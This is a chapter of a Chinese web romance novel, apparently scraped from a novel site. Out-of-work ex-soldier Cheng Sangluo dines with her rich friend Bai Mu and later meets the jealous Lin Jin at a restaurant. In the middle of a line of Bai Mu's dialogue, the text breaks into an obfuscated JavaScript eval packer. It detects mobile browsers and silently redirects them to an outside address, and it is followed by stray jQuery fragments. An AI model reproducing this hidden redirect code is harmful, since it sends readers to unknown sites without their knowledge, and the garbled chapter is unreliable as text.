程桑落匆忙走出森耀大厦,扑面而来闷热的风,烘出满身的薄汗。
她伫在大楼前,迷茫地左右环顾,一时间还没接受又失业的处境。
气不打一处来时,倏然响起短信提示音。
她瞧着到账三千元的信息,反复确认了好几遍,方才咂摸出这钱是谁给的。
没想到疯女人真付了三倍工钱,而且还是超额结算。
“啧,有钱了不起?”
程桑落撇撇嘴,倒也松了口气,至少最近的生活费有了着落。
她正要揣上手机,屏幕闪起白慕的名字。
手机款式太旧,再加上碎屏很厉害,她划了好几次才接通,“喂?”
“在哪干嘛呢,半天不接电话。”
“我刚下班。”
“几天不见怪想你的,晚上约顿饭呗~”
听筒里,女人故作撒娇,但冷冷的声线惹人起了鸡皮疙瘩。
程桑落几乎没有考虑,应承着:“上次你帮我介绍工作,还没谢谢你呢,晚上想吃什么,我请客。”
“咱俩有什么好客气的,我在云兴步行街等你,快过来。”
挂掉电话,程桑落脸上还余留浅淡的笑。
日子太难,她鲜少露出这般轻松的神色。
......
公交车颠簸,酿起让人无法抗拒的睡意,程桑落靠在车窗边,眼神逐渐迷离。
不知为什么,浅眠也能造起奇幻的梦境。
梦里只有一双脚,足线曼妙,如同一笔勾勒的素描,瓷白细腻的肌肤像是能掐出水来。
那脚踩在艳红色高跟鞋上,细跟点着地面,翘起的脚尖慢慢悠悠的晃,施展着漫不经心的美感。
‘云兴步行街站到了,请带好随身物品...’
到站广播搅散短暂的梦,程桑落睡眼惺忪的下了车。
白慕约的地方,是一间小资格调的咖啡馆。
程桑落推门走进时,她正坐在角落玩手机,墨镜遮了大半张脸,紧身运动背心衬了蜂腰,显得马甲线格外分明。
感受到门口晃动的身影,她扬起灿烂的笑,“这边。”
程桑落走近,携来一身的热气,“不好意思,久等了。”
白慕摘掉墨镜,露出一双水润的眸,顺手将冰美式送到她的面前,“外面很热吧?先喝点东西。”
“谢谢。”
程桑落不喜欢咖啡的味道,大概是因为日子已经够苦的缘故。
碍于朋友的热情,她端起杯子象征性抿一口,“晚上想吃什么,我今天发工资了。”
“这种全人类的问题,真的很难解答诶。”白慕打趣,但笑容收敛了几分,再三犹豫后才聊起:“为什么不告诉我会所发生的事?”
提及会所,程桑落云淡风轻,“也不是什么大事,没什么好说的。”
“要不还是来我家上班吧,我给你物色轻松的岗位,薪资待遇保证你满意。”
白家是做进出口贸易的,白慕是独生女,从小被惯了一身富二代的臭毛病。
最叛逆的那会儿,到处招三惹四,气得白父一怒之下把她送进部队操练。
入伍后,白慕在程桑落手下待了一年。
刚开始受不了半点苦,夜里饿得哭哭啼啼,程桑落总会偷偷给她塞馒头吃。
结果被投喂的那一年,大小姐足足胖了十斤。
这不是白慕第一次邀请程桑落去自家公司上班,但她很了解班长的脾气,想必得来的还是拒绝。
果然不出所料,程桑落摆摆手,“不了,工作的事我不想一直麻烦你。”
“我们是战友是朋友,哪儿谈得上麻烦呢?”
“有钱参与的关系会变味的,我不想失去一个好朋友。”程桑落解释的很认真,索性换了话题:“还是聊聊待会儿吃什么吧,我好饿的。”
白慕无奈的摇头,笑说着:“为了防止你买单,我早就订好了餐厅,死贵死贵的那种,你只需要埋头吃就行。”
程桑落脸皮薄,嘟哝着:“干嘛呀,突如其来的投喂。”
“说起投喂啊...”
“打住打住...”程桑落最怕提起这茬,一会儿又得怪她投喂过量,胖了十斤减肥不易巴拉巴拉什么的。
二人聊到晚餐时间才离开咖啡馆。
白慕订的餐厅在富人区,是一家需要提前预留的高档私房菜馆。
独栋小三层藏在一片幽绿的竹林里,晚风吹过时会响起竹叶沙沙声,配上庭院山水造景,古朴又安逸。
程桑落跟在白慕身后,没太多心思去观赏风景,满脑子想的都是这顿饭得花多少钱。
等餐厅经理离开包房后,她才低声问着:“你都说这餐厅死贵死贵,会不会太奢侈?”
白慕拉开椅子,将她摁着坐下,“你还怕一顿饭吃垮我?”
“就觉得没必要嘛。”程桑落双手扶在膝头,还是有些拘谨。
“对了,后天有空不?”
“你有什么事吗?”
“有个朋友要搞生日派对,我想带你去玩一玩,就当是放松消遣咯。”
说着,白慕拿起热毛巾,抓住程桑落的手一顿擦拭,又捂着她的脸擦。
“唔...我自己...唔...我自己来...”程桑落挣扎,接着话:“算了吧,我不适合你们那种有钱人的派对。”
“不许拒绝!”白慕扔开毛巾,有些不好意思道:“主要是我喜欢的人也会去,你看人最准了,帮我参考参考呗。”
“所以...”程桑落拖腔带调,虚着眸子打量白慕,“你今天约我吃这么贵的饭,就是为了让我无法拒绝你的要求?”
“谁说的,明明是报答老班长的照顾之恩,现在换我来投喂你呀~”白慕勾搭程桑落的脖子,见她不吭声,立马装可怜,“帮帮我嘛,帮帮我嘛!”
“行啦行啦,我去还不成。”程桑落推开粘人精,嘟哝着:“我算是看明白了,你是恋爱脑。”
“才没有!可是她好特别的,到时候你看见到她,肯定会夸我好眼光。”
程桑落瞅着白慕一副被迷得五迷三道的模样,笑笑不语。
她不懂情情爱爱,只觉生活够费劲了,实在没余力去思考虚无缥缈的爱情。
脑海里陡然浮现林锦的笑,惹得呼吸一滞。
明明那阴鸷又玩味的笑,最令她极度反感,偏偏在这个时候出现,真是莫名其妙。
程桑落甩了甩脑袋,忽而聊起严肃的话题,“你知道森耀吗?”
“森耀?”白慕咂摸,很快便想起了什么,“你说的是森耀集团吧。”
“就是有好大一栋写字楼的那个。”程桑落也不知道林锦的公司是干嘛的,她能说明白的只剩自己没擦完的大厦。
“我知道啊,那可是舟海出了名的投资公司,听说那林总年轻貌美,活脱脱的爽文大女主!”
服务员推开门,陆陆续续将菜派上桌,打断了二人对话。
程桑落端起杯子品茶,盯着色香俱全的菜出神,似在琢磨着什么。
待到门被重新合上,方才继续问着:“那投资公司很厉害吗?”
“当然!我们家跟那种资本比,简直就不在一个图层,据说市值上百亿呢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606825|172087||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
!”白慕说的起劲,又忙着给程桑落夹菜,“快尝尝,它家的清蒸石斑鱼特别肥美。”
程桑落不挑剔食物,也尝不出什么肥美,有的吃就已经很不错了。
白慕又给她盛了一碗羹汤,介绍着:“这拆鱼羹不提前预定,拿钱都买不到,快尝一口。”
程桑落急忙叫停:“我又不是小孩子,会自己夹菜的。”
白慕瘪嘴,语气多了几分责怪:“你瞧瞧你,几天不见瘦了一大圈,又不肯让我帮忙,我都想不明白,你在为难自己什么呢?”
程桑落搅着勺子,反倒安慰着:“你还怕我饿死么,也不想想我以前是干嘛的,别胡思乱想了。”
是啊,固执的程桑落,你到底在为难自己什么呢?那疯女人不是说了么,学会曲腰就什么都有了。
白慕突然好奇着:“诶,你干嘛问森耀集团的事?”
程桑落含糊:“今天去那边高空作业,就好奇呗。”
.....
这顿饭,白慕安排了很多菜,以至于让程桑落打包了好几个大盒子。
离开包房时,白慕遇到了几位叔伯,便忙着去包房里敬酒寒暄。
程桑落觉得自己这身扮相寒酸,不想给朋友惹来细碎的口舌,便独自走到电梯前等候。
静谧的空间都是假象,那一道道门里藏着觥筹交错的奢靡。
程桑落厌恶这个故作低调,实则纸醉金迷的世界,就连空气里的香氛都在刺痛她的神经。
靠在墙边等了半天,电梯来回去了好几波人,还是不见白慕回来。
电梯门再次打开,陆陆续续走出几个年轻男女。
这些人衣着光鲜亮丽,正谈着让人费解的市场行情,不经意的释放着高人一等的优越感。
最后一道身影出现时,宛如浓墨重彩的压轴。
程桑落在甜腻的香氛里,嗅到了熟悉的雪松气息。
抬眼的一瞬,她便坠进幽瞳里的万丈深渊。
这样的对视,每次都会掀起溺毙的窒息感,以至于呼吸又急又沉。
林锦的长卷发应是做了造型,在灯影下泛着栗色哑光,还换了一身黑色深v长裙,裙摆没过脚踝,挡住了肿起的地方。
她没有一瘸一拐的失态,只是走的很慢很慢。
发现墙边不起眼的小狗,脸上并没有展开标志性的笑容,只是淡漠的睨了一眼。
她没问你怎么在这儿,但眼神已然昭示了一切,好似在说你不应该在这儿。
“桑落!”白慕从走廊深处快步赶来,一把挽住程桑落的胳膊,身上多了一丝酒气,“我还以为你扔下我走了呢!”
程桑落仓皇的收回目光,干巴巴的解释:“我想着在这里等你,应该会更好点。”
她有些不自在,试图把胳膊抽走,奈何被挽得更紧了。
白慕拎起保时捷车钥匙,撒娇:“我喝了酒,你当我的司机咯~”
程桑落一口答应:“好,我送你回家。”
殊不知,她的笑容有多宠溺,林锦的眼神便有多阴沉。
走进电梯转过身,程桑落愣了神。
因为林锦并没有离开,而是半侧身子直勾勾地盯着她。
那柔润的唇抿的很紧,垂在裙边的指尖深深掐着手包。
直到电梯门缓缓截去彼此的视线,程桑落方才把憋着的气吐出来。
林锦伫在原地,独自落向猜疑的地狱,那女人是谁,怎么可以如此亲密,凭什么送她回家?
气到发笑,她伸手拂去耳边的发丝,咬着牙根低斥:“赶着趟去当免费司机,程桑落,你贱不贱?”